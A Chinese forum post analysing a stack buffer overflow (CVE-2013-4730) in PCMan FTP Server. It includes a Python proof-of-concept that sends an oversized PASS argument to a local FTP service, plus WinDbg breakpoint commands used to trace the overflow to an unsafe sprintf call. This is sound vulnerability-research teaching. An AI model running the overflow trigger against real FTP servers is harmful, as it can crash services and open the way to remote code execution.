-
-
[分享][原创]PCMan FTP远程代码执行漏洞分析(CVE-2013-4730)
-
发表于:
2017-4-14 23:06
5925
-
[分享][原创]PCMan FTP远程代码执行漏洞分析(CVE-2013-4730)
前言
刚转入二进制不久,拿网上大牛写过的帖子练手,发现网上方法:突破点都是在IDA中搜索recv,然后下断点,跟踪到异常处,发现触发漏洞地方。但是大部分我们分析漏洞程序,很难有这种,一开始就知道在关键函数下断点,等待断点触发的。大部分还是从POC异常触发点,然后一步一步回溯逆向到引发漏洞的关键函数的。分享一下不同的角度,感谢15PB给我带来不一样的世界,还记得任老师最后告诫我们的那句话:不要让你的技术超过你的人品。。
漏洞环境搭建与分析
https://www.exploit-db.com/exploits/26471/
环境 WindowsXP下 python 2.7.13
POC
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 21))
s.recv(1024)
User = 'anonymous'
Password='A'*8000
s.send("USER" + User + "\r\n")
print s.recv(1024)
s.send("PASS" + Password + "\r\n")
print s.recv(1024)
运行POC,触发漏洞
我们可以看出返回值被AAAA覆盖了,此时的esp之前应该就是返回值,所以我们可以在0012ed6c之前下硬件写入条件断点重新打开windbg 附加PCMan 用windbg下如下命令,此时我们只要关注堆栈返回值上面几处的值是否被覆盖了AAAA,等待断点命中
ba w4 0012ed5c ".if(poi(0012ed5c)=0x41414141){}.else{gc}"
运行POC可以看到在004173af断下,此时我们栈中,已经被A覆盖了大部分,但是返回值还没有被覆盖,我们可以看到
在IDA中定位此处的EIP看出此时在write_string函数中,调用write_char函数循环在向栈写内容
我们接着向上回溯看看调用此函数的是谁,windbg单步,或者gu执行到函数返回,在函数回溯过程中发现sprintf函数,F5查看,此时的sprintf函数后面带有%s,所以是有可能发生字符串溢出的
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课